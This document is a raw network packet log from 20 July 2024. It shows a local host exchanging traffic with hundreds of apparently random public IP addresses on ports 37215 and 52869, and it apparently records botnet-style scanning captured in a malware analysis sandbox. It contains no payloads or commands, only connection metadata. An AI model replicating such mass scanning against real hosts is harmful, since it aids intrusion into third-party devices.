Jul 20, 2024 23:10:38.024296045 CEST	37215	58767	157.60.245.135	192.168.2.15
Jul 20, 2024 23:10:38.024307966 CEST	37215	58767	197.175.204.118	192.168.2.15
Jul 20, 2024 23:10:38.024318933 CEST	37215	58767	197.58.236.48	192.168.2.15
Jul 20, 2024 23:10:38.024329901 CEST	37215	58767	157.222.38.248	192.168.2.15
Jul 20, 2024 23:10:38.024341106 CEST	37215	58767	79.176.18.28	192.168.2.15
Jul 20, 2024 23:10:38.024353027 CEST	37215	58767	197.199.121.205	192.168.2.15
Jul 20, 2024 23:10:38.024364948 CEST	37215	58767	41.28.223.56	192.168.2.15
Jul 20, 2024 23:10:38.024375916 CEST	37215	58767	41.37.186.42	192.168.2.15
Jul 20, 2024 23:10:38.024388075 CEST	37215	58767	157.122.212.222	192.168.2.15
Jul 20, 2024 23:10:38.024399042 CEST	37215	58767	143.141.244.68	192.168.2.15
Jul 20, 2024 23:10:38.024410009 CEST	37215	58767	45.159.144.131	192.168.2.15
Jul 20, 2024 23:10:38.024421930 CEST	37215	58767	157.3.209.109	192.168.2.15
Jul 20, 2024 23:10:38.024435043 CEST	37215	58767	113.120.65.180	192.168.2.15
Jul 20, 2024 23:10:38.024585009 CEST	37215	58767	78.182.219.34	192.168.2.15
Jul 20, 2024 23:10:38.024597883 CEST	37215	58767	41.111.240.145	192.168.2.15
Jul 20, 2024 23:10:38.024612904 CEST	37215	58767	157.22.213.115	192.168.2.15
Jul 20, 2024 23:10:38.024626017 CEST	37215	58767	157.227.47.27	192.168.2.15
Jul 20, 2024 23:10:38.024637938 CEST	37215	58767	96.118.43.16	192.168.2.15
Jul 20, 2024 23:10:38.024651051 CEST	37215	58767	41.62.196.146	192.168.2.15
Jul 20, 2024 23:10:38.024662971 CEST	37215	58767	157.212.89.89	192.168.2.15
Jul 20, 2024 23:10:38.024674892 CEST	37215	58767	41.12.115.150	192.168.2.15
Jul 20, 2024 23:10:38.024686098 CEST	37215	58767	41.45.75.186	192.168.2.15
Jul 20, 2024 23:10:38.024697065 CEST	37215	58767	59.123.56.126	192.168.2.15
Jul 20, 2024 23:10:38.024708033 CEST	37215	58767	18.212.3.237	192.168.2.15
Jul 20, 2024 23:10:38.024719954 CEST	37215	58767	41.8.44.217	192.168.2.15
Jul 20, 2024 23:10:38.024730921 CEST	37215	58767	42.242.165.146	192.168.2.15
Jul 20, 2024 23:10:38.024741888 CEST	37215	58767	41.171.192.20	192.168.2.15
Jul 20, 2024 23:10:38.024763107 CEST	37215	58767	157.87.60.182	192.168.2.15
Jul 20, 2024 23:10:38.024775028 CEST	37215	58767	41.210.216.86	192.168.2.15
Jul 20, 2024 23:10:38.024786949 CEST	37215	58767	157.141.67.107	192.168.2.15
Jul 20, 2024 23:10:38.024797916 CEST	37215	58767	165.31.208.112	192.168.2.15
Jul 20, 2024 23:10:38.024810076 CEST	37215	58767	41.22.72.49	192.168.2.15
Jul 20, 2024 23:10:38.024821043 CEST	37215	58767	157.248.244.162	192.168.2.15
Jul 20, 2024 23:10:38.024832964 CEST	37215	58767	191.22.17.66	192.168.2.15
Jul 20, 2024 23:10:38.024844885 CEST	37215	58767	41.45.252.70	192.168.2.15
Jul 20, 2024 23:10:38.024857044 CEST	37215	58767	212.185.55.12	192.168.2.15
Jul 20, 2024 23:10:38.024868011 CEST	37215	58767	157.130.22.244	192.168.2.15
Jul 20, 2024 23:10:38.024879932 CEST	37215	58767	118.164.169.157	192.168.2.15
Jul 20, 2024 23:10:38.024890900 CEST	37215	58767	197.65.187.254	192.168.2.15
Jul 20, 2024 23:10:38.024904013 CEST	37215	58767	223.168.72.227	192.168.2.15
Jul 20, 2024 23:10:38.024914980 CEST	37215	58767	197.22.59.28	192.168.2.15
Jul 20, 2024 23:10:38.024929047 CEST	37215	58767	197.46.89.191	192.168.2.15
Jul 20, 2024 23:10:38.024940968 CEST	37215	58767	121.251.97.66	192.168.2.15
Jul 20, 2024 23:10:38.024951935 CEST	37215	58767	137.114.123.246	192.168.2.15
Jul 20, 2024 23:10:38.024964094 CEST	37215	58767	110.187.106.242	192.168.2.15
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	197.191.233.83
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	197.63.234.218
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	157.148.122.154
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	100.183.224.149
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	157.16.90.129
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	41.229.88.41
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	157.175.181.191
Jul 20, 2024 23:10:38.025356054 CEST	58767	37215	192.168.2.15	197.72.245.150
Jul 20, 2024 23:10:38.025401115 CEST	37215	58767	206.103.204.223	192.168.2.15
Jul 20, 2024 23:10:38.025541067 CEST	37215	58767	41.170.68.215	192.168.2.15
Jul 20, 2024 23:10:38.025584936 CEST	37215	58767	197.219.171.240	192.168.2.15
Jul 20, 2024 23:10:38.025597095 CEST	37215	58767	41.79.54.43	192.168.2.15
Jul 20, 2024 23:10:38.025608063 CEST	37215	58767	197.234.95.95	192.168.2.15
Jul 20, 2024 23:10:38.025635004 CEST	37215	58767	157.3.68.92	192.168.2.15
Jul 20, 2024 23:10:38.025646925 CEST	37215	58767	197.179.40.53	192.168.2.15
Jul 20, 2024 23:10:38.025660038 CEST	37215	58767	41.8.88.19	192.168.2.15
Jul 20, 2024 23:10:38.025671959 CEST	37215	58767	197.52.127.77	192.168.2.15
Jul 20, 2024 23:10:38.025686026 CEST	37215	58767	41.151.29.120	192.168.2.15
Jul 20, 2024 23:10:38.025697947 CEST	37215	58767	34.10.80.0	192.168.2.15
Jul 20, 2024 23:10:38.025708914 CEST	37215	58767	153.254.41.187	192.168.2.15
Jul 20, 2024 23:10:38.025721073 CEST	37215	58767	189.75.207.178	192.168.2.15
Jul 20, 2024 23:10:38.025732994 CEST	37215	58767	98.214.74.189	192.168.2.15
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	129.21.178.114
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	92.224.128.50
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	96.153.238.214
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	205.72.33.39
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	39.113.253.226
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	221.132.183.156
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	37.220.100.118
Jul 20, 2024 23:10:38.025732994 CEST	58771	52869	192.168.2.15	164.22.24.69
Jul 20, 2024 23:10:38.025744915 CEST	37215	58767	41.226.107.8	192.168.2.15
Jul 20, 2024 23:10:38.025755882 CEST	37215	58767	41.248.107.19	192.168.2.15
Jul 20, 2024 23:10:38.025779009 CEST	37215	58767	157.36.23.144	192.168.2.15
Jul 20, 2024 23:10:38.025790930 CEST	37215	58767	197.90.65.130	192.168.2.15
Jul 20, 2024 23:10:38.025804043 CEST	37215	58767	157.232.218.136	192.168.2.15
Jul 20, 2024 23:10:38.025815964 CEST	37215	58767	41.163.171.231	192.168.2.15
Jul 20, 2024 23:10:38.025826931 CEST	37215	58767	157.52.27.192	192.168.2.15
Jul 20, 2024 23:10:38.025839090 CEST	37215	58767	157.218.201.124	192.168.2.15
Jul 20, 2024 23:10:38.025850058 CEST	37215	58767	197.2.105.106	192.168.2.15
Jul 20, 2024 23:10:38.025861025 CEST	37215	58767	157.57.184.189	192.168.2.15
Jul 20, 2024 23:10:38.025872946 CEST	37215	58767	41.178.219.191	192.168.2.15
Jul 20, 2024 23:10:38.025883913 CEST	37215	58767	197.71.87.129	192.168.2.15
Jul 20, 2024 23:10:38.025896072 CEST	37215	58767	144.111.159.210	192.168.2.15
Jul 20, 2024 23:10:38.025907040 CEST	37215	58767	197.156.192.140	192.168.2.15
Jul 20, 2024 23:10:38.026273012 CEST	37215	58767	157.143.10.205	192.168.2.15
Jul 20, 2024 23:10:38.026319027 CEST	37215	58767	122.133.81.202	192.168.2.15
Jul 20, 2024 23:10:38.026330948 CEST	37215	58767	41.176.159.201	192.168.2.15
Jul 20, 2024 23:10:38.026343107 CEST	37215	58767	157.161.230.226	192.168.2.15
Jul 20, 2024 23:10:38.026355982 CEST	37215	58767	41.6.49.236	192.168.2.15
Jul 20, 2024 23:10:38.026437998 CEST	37215	58767	41.129.130.16	192.168.2.15
Jul 20, 2024 23:10:38.026448965 CEST	37215	58767	157.2.130.211	192.168.2.15
Jul 20, 2024 23:10:38.026460886 CEST	37215	58767	41.84.193.219	192.168.2.15
Jul 20, 2024 23:10:38.026473045 CEST	37215	58767	86.174.93.222	192.168.2.15
Jul 20, 2024 23:10:38.026484966 CEST	37215	58767	157.135.117.217	192.168.2.15
Jul 20, 2024 23:10:38.026495934 CEST	37215	58767	41.206.150.232	192.168.2.15
Jul 20, 2024 23:10:38.026508093 CEST	37215	58767	157.181.8.209	192.168.2.15
Jul 20, 2024 23:10:38.026520014 CEST	52869	58771	100.47.254.113	192.168.2.15
Jul 20, 2024 23:10:38.026541948 CEST	52869	58771	209.100.99.31	192.168.2.15
Jul 20, 2024 23:10:38.026556015 CEST	37215	58767	197.66.185.226	192.168.2.15
Jul 20, 2024 23:10:38.026567936 CEST	52869	58771	183.212.212.24	192.168.2.15
Jul 20, 2024 23:10:38.026578903 CEST	37215	58767	157.132.182.252	192.168.2.15
Jul 20, 2024 23:10:38.026591063 CEST	37215	58767	197.150.216.74	192.168.2.15
Jul 20, 2024 23:10:38.026602983 CEST	37215	58767	41.204.94.246	192.168.2.15
Jul 20, 2024 23:10:38.026622057 CEST	37215	58767	41.98.99.39	192.168.2.15
Jul 20, 2024 23:10:38.026633978 CEST	52869	58771	67.248.122.208	192.168.2.15
Jul 20, 2024 23:10:38.026645899 CEST	52869	58771	178.204.43.34	192.168.2.15
Jul 20, 2024 23:10:38.026658058 CEST	52869	58771	37.20.97.222	192.168.2.15
Jul 20, 2024 23:10:38.026679993 CEST	37215	58767	157.200.158.9	192.168.2.15
Jul 20, 2024 23:10:38.026691914 CEST	37215	58767	197.104.87.25	192.168.2.15
Jul 20, 2024 23:10:38.026704073 CEST	37215	58767	197.92.168.162	192.168.2.15
Jul 20, 2024 23:10:38.026715994 CEST	52869	58771	39.251.64.74	192.168.2.15
Jul 20, 2024 23:10:38.026726961 CEST	52869	58771	206.141.149.104	192.168.2.15
Jul 20, 2024 23:10:38.027008057 CEST	52869	58771	60.37.25.73	192.168.2.15
Jul 20, 2024 23:10:38.027031898 CEST	52869	58771	128.136.138.71	192.168.2.15
Jul 20, 2024 23:10:38.027044058 CEST	52869	58771	37.246.32.164	192.168.2.15
Jul 20, 2024 23:10:38.027055025 CEST	52869	58771	19.4.232.210	192.168.2.15
Jul 20, 2024 23:10:38.027076960 CEST	52869	58771	183.224.63.198	192.168.2.15
Jul 20, 2024 23:10:38.027087927 CEST	52869	58771	140.7.237.34	192.168.2.15
Jul 20, 2024 23:10:38.027100086 CEST	52869	58771	137.0.27.60	192.168.2.15
Jul 20, 2024 23:10:38.027112007 CEST	52869	58771	139.148.1.119	192.168.2.15
Jul 20, 2024 23:10:38.027122974 CEST	52869	58771	173.8.8.159	192.168.2.15
Jul 20, 2024 23:10:38.027133942 CEST	52869	58771	27.210.239.133	192.168.2.15
Jul 20, 2024 23:10:38.027156115 CEST	52869	58771	160.146.201.203	192.168.2.15
Jul 20, 2024 23:10:38.027167082 CEST	52869	58771	80.106.101.233	192.168.2.15
Jul 20, 2024 23:10:38.027179003 CEST	52869	58771	54.80.239.187	192.168.2.15
Jul 20, 2024 23:10:38.027189970 CEST	52869	58771	121.105.59.88	192.168.2.15
Jul 20, 2024 23:10:38.027201891 CEST	52869	58771	110.26.78.214	192.168.2.15
Jul 20, 2024 23:10:38.027213097 CEST	52869	58771	45.166.228.21	192.168.2.15
Jul 20, 2024 23:10:38.027224064 CEST	52869	58771	47.204.215.99	192.168.2.15
Jul 20, 2024 23:10:38.027235985 CEST	52869	58771	163.152.168.240	192.168.2.15
Jul 20, 2024 23:10:38.027246952 CEST	52869	58771	145.252.5.227	192.168.2.15
Jul 20, 2024 23:10:38.027268887 CEST	52869	58771	57.242.183.200	192.168.2.15
Jul 20, 2024 23:10:38.027281046 CEST	52869	58771	167.115.61.199	192.168.2.15
Jul 20, 2024 23:10:38.027292967 CEST	52869	58771	49.125.246.34	192.168.2.15
Jul 20, 2024 23:10:38.027304888 CEST	52869	58771	43.217.195.168	192.168.2.15
Jul 20, 2024 23:10:38.027317047 CEST	52869	58771	124.254.139.255	192.168.2.15
Jul 20, 2024 23:10:38.027328014 CEST	52869	58771	171.87.22.202	192.168.2.15
Jul 20, 2024 23:10:38.027338982 CEST	52869	58771	95.248.217.59	192.168.2.15
Jul 20, 2024 23:10:38.027349949 CEST	52869	58771	46.134.68.15	192.168.2.15
Jul 20, 2024 23:10:38.027364016 CEST	52869	58771	72.252.227.131	192.168.2.15
Jul 20, 2024 23:10:38.027757883 CEST	52869	58771	201.1.244.145	192.168.2.15
Jul 20, 2024 23:10:38.027770042 CEST	52869	58771	223.140.27.66	192.168.2.15
Jul 20, 2024 23:10:38.027781963 CEST	37215	58767	197.197.128.35	192.168.2.15
Jul 20, 2024 23:10:38.027792931 CEST	52869	58771	137.159.245.105	192.168.2.15
Jul 20, 2024 23:10:38.027821064 CEST	52869	58771	64.204.121.4	192.168.2.15
Jul 20, 2024 23:10:38.027832985 CEST	37215	58767	197.35.75.176	192.168.2.15
Jul 20, 2024 23:10:38.027844906 CEST	52869	58771	108.136.12.235	192.168.2.15
Jul 20, 2024 23:10:38.027856112 CEST	52869	58771	37.221.95.17	192.168.2.15
Jul 20, 2024 23:10:38.027868032 CEST	37215	58767	197.231.206.182	192.168.2.15
Jul 20, 2024 23:10:38.027879953 CEST	37215	58767	157.23.229.215	192.168.2.15
Jul 20, 2024 23:10:38.027903080 CEST	37215	58767	157.169.237.122	192.168.2.15
Jul 20, 2024 23:10:38.027915001 CEST	37215	58767	157.221.102.78	192.168.2.15
Jul 20, 2024 23:10:38.027926922 CEST	52869	58771	120.101.16.173	192.168.2.15
Jul 20, 2024 23:10:38.027939081 CEST	37215	58767	41.94.197.84	192.168.2.15
Jul 20, 2024 23:10:38.027951002 CEST	37215	58767	46.16.235.19	192.168.2.15
Jul 20, 2024 23:10:38.027962923 CEST	52869	58771	53.146.219.201	192.168.2.15
Jul 20, 2024 23:10:38.027973890 CEST	52869	58771	39.246.90.241	192.168.2.15
Jul 20, 2024 23:10:38.027986050 CEST	52869	58771	65.28.2.61	192.168.2.15
Jul 20, 2024 23:10:38.027997971 CEST	52869	58771	18.61.121.155	192.168.2.15
Jul 20, 2024 23:10:38.028009892 CEST	52869	58771	31.244.238.124	192.168.2.15
Jul 20, 2024 23:10:38.028021097 CEST	37215	58767	197.159.151.175	192.168.2.15
Jul 20, 2024 23:10:38.028043032 CEST	37215	58767	197.88.176.144	192.168.2.15
Jul 20, 2024 23:10:38.028054953 CEST	52869	58771	96.8.130.204	192.168.2.15
Jul 20, 2024 23:10:38.028067112 CEST	52869	58771	38.246.254.202	192.168.2.15
Jul 20, 2024 23:10:38.028078079 CEST	52869	58771	179.247.29.112	192.168.2.15
Jul 20, 2024 23:10:38.028090000 CEST	37215	58767	197.86.21.19	192.168.2.15
Jul 20, 2024 23:10:38.028100967 CEST	37215	58767	157.51.246.64	192.168.2.15
Jul 20, 2024 23:10:38.028112888 CEST	52869	58771	172.165.29.150	192.168.2.15
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	67.47.108.140
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	170.144.45.218
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	197.160.6.46
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	157.166.240.145
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	157.53.95.58
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	157.85.60.6
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	197.73.110.83
Jul 20, 2024 23:10:38.028251886 CEST	58767	37215	192.168.2.15	197.193.200.234
Jul 20, 2024 23:10:38.028534889 CEST	52869	58771	89.244.85.64	192.168.2.15
Jul 20, 2024 23:10:38.028547049 CEST	52869	58771	195.248.108.26	192.168.2.15
Jul 20, 2024 23:10:38.028558969 CEST	52869	58771	36.138.33.198	192.168.2.15
Jul 20, 2024 23:10:38.028570890 CEST	52869	58771	88.213.229.131	192.168.2.15
Jul 20, 2024 23:10:38.028594017 CEST	52869	58771	67.233.123.166	192.168.2.15
Jul 20, 2024 23:10:38.028605938 CEST	52869	58771	198.71.61.87	192.168.2.15
Jul 20, 2024 23:10:38.028616905 CEST	52869	58771	183.26.88.8	192.168.2.15
Jul 20, 2024 23:10:38.028640985 CEST	52869	58771	171.3.37.13	192.168.2.15
Jul 20, 2024 23:10:38.028652906 CEST	52869	58771	175.25.115.198	192.168.2.15
Jul 20, 2024 23:10:38.028665066 CEST	52869	58771	75.164.133.20	192.168.2.15
Jul 20, 2024 23:10:38.028676987 CEST	52869	58771	159.13.147.255	192.168.2.15
Jul 20, 2024 23:10:38.028688908 CEST	52869	58771	41.57.109.160	192.168.2.15
Jul 20, 2024 23:10:38.028700113 CEST	52869	58771	14.149.180.65	192.168.2.15
Jul 20, 2024 23:10:38.028712034 CEST	52869	58771	60.108.137.142	192.168.2.15
Jul 20, 2024 23:10:38.028723001 CEST	52869	58771	143.53.132.181	192.168.2.15
Jul 20, 2024 23:10:38.028734922 CEST	52869	58771	182.71.9.111	192.168.2.15
Jul 20, 2024 23:10:38.028747082 CEST	52869	58771	60.130.9.138	192.168.2.15
Jul 20, 2024 23:10:38.028759003 CEST	52869	58771	101.87.191.62	192.168.2.15
Jul 20, 2024 23:10:38.028769970 CEST	52869	58771	49.101.216.31	192.168.2.15
Jul 20, 2024 23:10:38.028781891 CEST	37215	58767	41.96.187.126	192.168.2.15
Jul 20, 2024 23:10:38.028793097 CEST	37215	58767	41.109.65.238	192.168.2.15
Jul 20, 2024 23:10:38.028804064 CEST	52869	58771	45.20.218.125	192.168.2.15
Jul 20, 2024 23:10:38.028815031 CEST	52869	58771	105.10.226.228	192.168.2.15
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	149.164.117.47
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	166.140.108.18
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	152.99.131.65
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	60.166.225.136
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	118.224.158.59
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	147.235.9.126
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	200.222.229.170
Jul 20, 2024 23:10:38.028862953 CEST	58771	52869	192.168.2.15	37.136.63.13
Jul 20, 2024 23:10:38.028915882 CEST	37215	58767	157.201.191.186	192.168.2.15
Jul 20, 2024 23:10:38.028928995 CEST	37215	58767	41.189.53.206	192.168.2.15
Jul 20, 2024 23:10:38.028939962 CEST	37215	58767	157.154.39.246	192.168.2.15
Jul 20, 2024 23:10:38.028951883 CEST	37215	58767	41.49.237.223	192.168.2.15
Jul 20, 2024 23:10:38.028964043 CEST	37215	58767	157.251.215.62	192.168.2.15
Jul 20, 2024 23:10:38.029217005 CEST	52869	58771	123.164.96.81	192.168.2.15
Jul 20, 2024 23:10:38.029228926 CEST	52869	58771	111.168.238.252	192.168.2.15
Jul 20, 2024 23:10:38.029239893 CEST	52869	58771	32.43.211.11	192.168.2.15
Jul 20, 2024 23:10:38.029251099 CEST	52869	58771	24.217.87.10	192.168.2.15
Jul 20, 2024 23:10:38.029273033 CEST	52869	58771	64.125.253.160	192.168.2.15
Jul 20, 2024 23:10:38.029284954 CEST	52869	58771	221.249.56.0	192.168.2.15
Jul 20, 2024 23:10:38.029297113 CEST	52869	58771	49.103.65.49	192.168.2.15
Jul 20, 2024 23:10:38.029309034 CEST	52869	58771	159.93.165.89	192.168.2.15
Jul 20, 2024 23:10:38.029320955 CEST	52869	58771	160.91.247.139	192.168.2.15
Jul 20, 2024 23:10:38.029341936 CEST	52869	58771	67.54.36.56	192.168.2.15
Jul 20, 2024 23:10:38.029354095 CEST	52869	58771	87.94.167.126	192.168.2.15
Jul 20, 2024 23:10:38.029366016 CEST	37215	58767	41.83.69.157	192.168.2.15
Jul 20, 2024 23:10:38.029377937 CEST	52869	58771	190.221.23.198	192.168.2.15
Jul 20, 2024 23:10:38.029388905 CEST	37215	58767	41.238.46.145	192.168.2.15
Jul 20, 2024 23:10:38.029400110 CEST	52869	58771	157.79.203.21	192.168.2.15
Jul 20, 2024 23:10:38.029412031 CEST	52869	58771	100.189.129.111	192.168.2.15
Jul 20, 2024 23:10:38.029422998 CEST	52869	58771	89.45.61.48	192.168.2.15
Jul 20, 2024 23:10:38.029434919 CEST	52869	58771	153.174.167.228	192.168.2.15
Jul 20, 2024 23:10:38.029445887 CEST	52869	58771	88.246.103.67	192.168.2.15
Jul 20, 2024 23:10:38.029457092 CEST	52869	58771	186.109.38.233	192.168.2.15
Jul 20, 2024 23:10:38.029479980 CEST	37215	58767	157.144.124.87	192.168.2.15
Jul 20, 2024 23:10:38.029491901 CEST	52869	58771	78.61.21.250	192.168.2.15
Jul 20, 2024 23:10:38.029504061 CEST	52869	58771	139.69.115.52	192.168.2.15
Jul 20, 2024 23:10:38.029515982 CEST	52869	58771	174.55.94.1	192.168.2.15
Jul 20, 2024 23:10:38.029527903 CEST	52869	58771	172.230.152.79	192.168.2.15
Jul 20, 2024 23:10:38.029539108 CEST	52869	58771	36.196.33.90	192.168.2.15
Jul 20, 2024 23:10:38.029551029 CEST	52869	58771	162.46.6.147	192.168.2.15
Jul 20, 2024 23:10:38.029561996 CEST	52869	58771	58.171.183.4	192.168.2.15
Jul 20, 2024 23:10:38.029871941 CEST	52869	58771	208.114.248.222	192.168.2.15
Jul 20, 2024 23:10:38.029885054 CEST	52869	58771	1.2.244.41	192.168.2.15
Jul 20, 2024 23:10:38.029896975 CEST	52869	58771	83.93.31.167	192.168.2.15
Jul 20, 2024 23:10:38.029907942 CEST	52869	58771	220.174.46.209	192.168.2.15
Jul 20, 2024 23:10:38.029962063 CEST	52869	58771	200.80.131.62	192.168.2.15
Jul 20, 2024 23:10:38.029974937 CEST	52869	58771	90.62.96.84	192.168.2.15
Jul 20, 2024 23:10:38.029985905 CEST	52869	58771	78.204.190.86	192.168.2.15
Jul 20, 2024 23:10:38.029998064 CEST	52869	58771	206.70.180.238	192.168.2.15
Jul 20, 2024 23:10:38.030009985 CEST	52869	58771	219.194.80.214	192.168.2.15
Jul 20, 2024 23:10:38.030021906 CEST	52869	58771	136.164.194.198	192.168.2.15
Jul 20, 2024 23:10:38.030033112 CEST	52869	58771	36.109.50.150	192.168.2.15
Jul 20, 2024 23:10:38.030045033 CEST	52869	58771	159.191.69.194	192.168.2.15
Jul 20, 2024 23:10:38.030056000 CEST	37215	58767	41.236.123.135	192.168.2.15
Jul 20, 2024 23:10:38.030077934 CEST	52869	58771	165.238.247.232	192.168.2.15
Jul 20, 2024 23:10:38.030088902 CEST	52869	58771	12.12.151.199	192.168.2.15
Jul 20, 2024 23:10:38.030101061 CEST	52869	58771	189.159.208.79	192.168.2.15
Jul 20, 2024 23:10:38.030112028 CEST	52869	58771	5.247.124.234	192.168.2.15
Jul 20, 2024 23:10:38.030122995 CEST	52869	58771	200.224.148.62	192.168.2.15
Jul 20, 2024 23:10:38.030133963 CEST	37215	58767	197.33.71.36	192.168.2.15
Jul 20, 2024 23:10:38.030145884 CEST	52869	58771	192.86.43.172	192.168.2.15
Jul 20, 2024 23:10:38.030157089 CEST	52869	58771	190.248.229.0	192.168.2.15
Jul 20, 2024 23:10:38.030168056 CEST	52869	58771	144.125.91.237	192.168.2.15
Jul 20, 2024 23:10:38.030179024 CEST	52869	58771	23.46.14.103	192.168.2.15
Jul 20, 2024 23:10:38.030189991 CEST	52869	58771	48.221.231.7	192.168.2.15
Jul 20, 2024 23:10:38.030201912 CEST	52869	58771	91.253.92.6	192.168.2.15
Jul 20, 2024 23:10:38.030213118 CEST	52869	58771	158.10.37.180	192.168.2.15
Jul 20, 2024 23:10:38.030224085 CEST	37215	58767	195.201.234.117	192.168.2.15
Jul 20, 2024 23:10:38.030236006 CEST	52869	58771	82.49.16.159	192.168.2.15
Jul 20, 2024 23:10:38.030592918 CEST	52869	58771	188.244.143.57	192.168.2.15
Jul 20, 2024 23:10:38.030680895 CEST	52869	58771	134.103.130.22	192.168.2.15
Jul 20, 2024 23:10:38.030693054 CEST	52869	58771	122.157.3.110	192.168.2.15
Jul 20, 2024 23:10:38.030704975 CEST	52869	58771	49.231.2.135	192.168.2.15
Jul 20, 2024 23:10:38.030716896 CEST	52869	58771	208.90.86.115	192.168.2.15
Jul 20, 2024 23:10:38.030729055 CEST	52869	58771	175.23.165.127	192.168.2.15
Jul 20, 2024 23:10:38.030740976 CEST	52869	58771	131.155.204.122	192.168.2.15
Jul 20, 2024 23:10:38.030762911 CEST	37215	58767	41.138.208.109	192.168.2.15
Jul 20, 2024 23:10:38.030775070 CEST	37215	58767	1.40.195.11	192.168.2.15
Jul 20, 2024 23:10:38.030786991 CEST	52869	58771	72.181.229.255	192.168.2.15
Jul 20, 2024 23:10:38.030802965 CEST	52869	58771	120.165.53.94	192.168.2.15
Jul 20, 2024 23:10:38.030813932 CEST	52869	58771	23.175.32.146	192.168.2.15
Jul 20, 2024 23:10:38.030826092 CEST	52869	58771	109.63.83.179	192.168.2.15
Jul 20, 2024 23:10:38.030838013 CEST	52869	58771	188.109.79.104	192.168.2.15
Jul 20, 2024 23:10:38.030849934 CEST	52869	58771	93.50.125.43	192.168.2.15
Jul 20, 2024 23:10:38.030862093 CEST	37215	58767	197.233.162.103	192.168.2.15
Jul 20, 2024 23:10:38.030873060 CEST	37215	58767	197.178.201.114	192.168.2.15
Jul 20, 2024 23:10:38.030896902 CEST	52869	58771	46.185.111.180	192.168.2.15
Jul 20, 2024 23:10:38.030909061 CEST	37215	58767	197.34.51.167	192.168.2.15
Jul 20, 2024 23:10:38.030920029 CEST	52869	58771	39.203.149.241	192.168.2.15
Jul 20, 2024 23:10:38.030931950 CEST	37215	58767	112.14.147.40	192.168.2.15
Jul 20, 2024 23:10:38.030944109 CEST	52869	58771	168.146.45.76	192.168.2.15
Jul 20, 2024 23:10:38.030956030 CEST	52869	58771	116.26.28.108	192.168.2.15
Jul 20, 2024 23:10:38.030966997 CEST	52869	58771	155.118.125.96	192.168.2.15
Jul 20, 2024 23:10:38.030977964 CEST	52869	58771	181.140.50.125	192.168.2.15
Jul 20, 2024 23:10:38.030989885 CEST	52869	58771	178.146.104.90	192.168.2.15
Jul 20, 2024 23:10:38.031001091 CEST	52869	58771	128.9.110.49	192.168.2.15
Jul 20, 2024 23:10:38.031012058 CEST	37215	58767	41.95.181.183	192.168.2.15
Jul 20, 2024 23:10:38.031467915 CEST	52869	58771	141.82.16.231	192.168.2.15
Jul 20, 2024 23:10:38.031498909 CEST	52869	58771	82.135.59.154	192.168.2.15
Jul 20, 2024 23:10:38.031519890 CEST	52869	58771	128.222.100.9	192.168.2.15
Jul 20, 2024 23:10:38.031532049 CEST	52869	58771	168.122.62.182	192.168.2.15
Jul 20, 2024 23:10:38.031579018 CEST	52869	58771	63.69.190.13	192.168.2.15
Jul 20, 2024 23:10:38.031590939 CEST	52869	58771	185.97.250.160	192.168.2.15
Jul 20, 2024 23:10:38.031601906 CEST	52869	58771	166.245.63.254	192.168.2.15
Jul 20, 2024 23:10:38.031645060 CEST	52869	58771	177.142.84.38	192.168.2.15
Jul 20, 2024 23:10:38.031804085 CEST	52869	58771	145.189.107.35	192.168.2.15
Jul 20, 2024 23:10:38.031816006 CEST	52869	58771	212.100.223.238	192.168.2.15
Jul 20, 2024 23:10:38.031827927 CEST	37215	58767	197.75.1.123	192.168.2.15
Jul 20, 2024 23:10:38.031838894 CEST	52869	58771	122.165.97.252	192.168.2.15
Jul 20, 2024 23:10:38.031851053 CEST	52869	58771	149.126.212.202	192.168.2.15
Jul 20, 2024 23:10:38.031862020 CEST	37215	58767	157.199.148.18	192.168.2.15
Jul 20, 2024 23:10:38.031883955 CEST	52869	58771	65.131.244.50	192.168.2.15
Jul 20, 2024 23:10:38.031896114 CEST	52869	58771	171.184.209.158	192.168.2.15
Jul 20, 2024 23:10:38.031907082 CEST	52869	58771	91.214.37.92	192.168.2.15
Jul 20, 2024 23:10:38.031918049 CEST	37215	58767	100.182.250.194	192.168.2.15
Jul 20, 2024 23:10:38.031929016 CEST	52869	58771	76.31.57.106	192.168.2.15
Jul 20, 2024 23:10:38.031940937 CEST	52869	58771	206.47.107.83	192.168.2.15
Jul 20, 2024 23:10:38.031953096 CEST	52869	58771	218.69.32.51	192.168.2.15
Jul 20, 2024 23:10:38.031964064 CEST	52869	58771	199.17.188.143	192.168.2.15
Jul 20, 2024 23:10:38.031985998 CEST	52869	58771	156.16.96.10	192.168.2.15
Jul 20, 2024 23:10:38.031997919 CEST	52869	58771	222.73.130.122	192.168.2.15
Jul 20, 2024 23:10:38.032008886 CEST	37215	58767	197.93.73.128	192.168.2.15
